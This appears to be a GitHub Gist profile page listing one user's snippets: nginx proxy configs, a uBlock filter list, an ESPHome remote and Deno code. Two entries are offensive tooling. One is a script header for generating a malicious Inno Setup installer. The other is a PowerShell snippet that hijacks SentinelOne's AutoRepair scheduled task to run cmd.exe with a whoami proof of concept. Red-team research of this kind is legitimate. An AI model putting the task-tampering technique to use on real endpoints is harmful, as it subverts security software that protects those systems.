Skip to content

Instantly share code, notes, and snippets.

View keyboardcrunch's full-sized avatar

keyboardcrunch keyboardcrunch

View GitHub Profile
@keyboardcrunch
keyboardcrunch / GenMaliciousInno.ps1
Last active May 27, 2025 02:01
Generate a malicious Inno Setup script.
<#
.SYNOPSIS
Generates a malicious Inno setup script for executing a commandline.
.DESCRIPTION
This script generates an installer using the Inno Setup Compiler.
It requires certain parameters to be provided for creating the setup package.
.PARAMETER Name
The name of the application being installed (optional).
@keyboardcrunch
keyboardcrunch / s1_ar_tamper.ps1
Created May 15, 2025 16:11
SentinelOne AutoRepair Task Tampering
# Get the task info
$TaskName = $(get-scheduledtask -TaskName AutoRepair* -TaskPath \Sentinel\).TaskName
$settings = $(get-scheduledtask -TaskName $TaskName -TaskPath \Sentinel\).Settings
$action = $(get-scheduledtask -TaskName AutoRepair* -TaskPath \Sentinel\).Actions
# Tweak settings objects
$new_action = New-ScheduledTaskAction -Execute "C:\Windows\System32\cmd.exe" -Argument "/c whoami > C:\Windows\Temp\IAM.txt"
$settings.AllowDemandStart=$true
# Apply changes
@keyboardcrunch
keyboardcrunch / ublock-google-signin.txt
Created April 25, 2025 15:05
uBlock - Disable FF Google Sign-in prompts
# https://support.mozilla.org/en-US/questions/1393427
||id.google.com^
||accounts.google.com/gsi/$3p
||smartlock.google.com^
! Block "Sign in with Google" iframe in top right corner of websites
||accounts.google.com/gsi/iframe
@keyboardcrunch
keyboardcrunch / proxy_crazy.conf
Created November 22, 2024 03:53
Nginx wildcard subdomain, map and upstream example
# Setup an "upstream" to allow preferences between local or tailscale endpoints for an Ollama service
# Note: I'm running a similar config on my laptop so I can access services while local or remote but
# use upstream to pick the endpoint to use.
upstream chat {
ip_hash;
server 192.168.1.3:11434;
server 100.44.39.165:11434;
}
# Setup a map to associate our proxy endpoint with the subdomain
@keyboardcrunch
keyboardcrunch / proxy_ollama.conf
Created September 25, 2024 00:29
Nginx proxy Ollama load balancer
# Listen on 11434 and proxy requests to a local Ollama server, either by local network or tailscale.
# ip_hash should maintain sessions while upstream handles one being offline.
# upstream 'load balancing' is used to maintain connectivity while working remote.
upstream ollama {
ip_hash;
server 192.168.1.166:11434;
server 100.94.79.62:11434;
}
@keyboardcrunch
keyboardcrunch / remoteOne.yml
Last active April 30, 2024 01:05
esphome - esp32s3 - 3 button wifi remote
# Device configuration
esphome:
name: "remoteOne"
friendly_name: RemoteOne
esp32:
board: esp32-s3-devkitc-1
framework:
type: arduino
@keyboardcrunch
keyboardcrunch / db.ts
Created October 17, 2023 19:53
Weather service backend for 3rd party clients to present bike-nobike weather conditions.
const kv = await Deno.openKv();
export interface BikeStatus {
bike: boolean,
temp: number,
uv: number,
rain: number,
sunset: string,
sunrise: string
};
@keyboardcrunch
keyboardcrunch / deno.json
Last active February 5, 2024 11:30
MastoJs with Deno
{
"imports": {
"masto": "https://cdn.skypack.dev/[email protected]?dts"
}
}
@keyboardcrunch
keyboardcrunch / blockmetatwitter.md
Created June 28, 2023 20:15 — forked from dangovorenefekt/blockmetatwitter.md
Block Meta and Twitter (nginx)
@keyboardcrunch
keyboardcrunch / example.rss
Last active June 15, 2023 02:00
Deno code to create an rss feed of public entries from the sqlite database of a Shiori bookmark server.
<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>keyboardcrunch - recently read</title>
<link>https://blog.keyboardcrunch.com/</link>
<description>A list of stuff I found interesting or look forward to reading.</description>
<lastBuildDate>Thu, 15 Jun 2023 01:59:18 GMT</lastBuildDate>
<docs>https://validator.w3.org/feed/docs/rss2.html</docs>
<generator>https://github.com/jpmonette/feed</generator>
<item>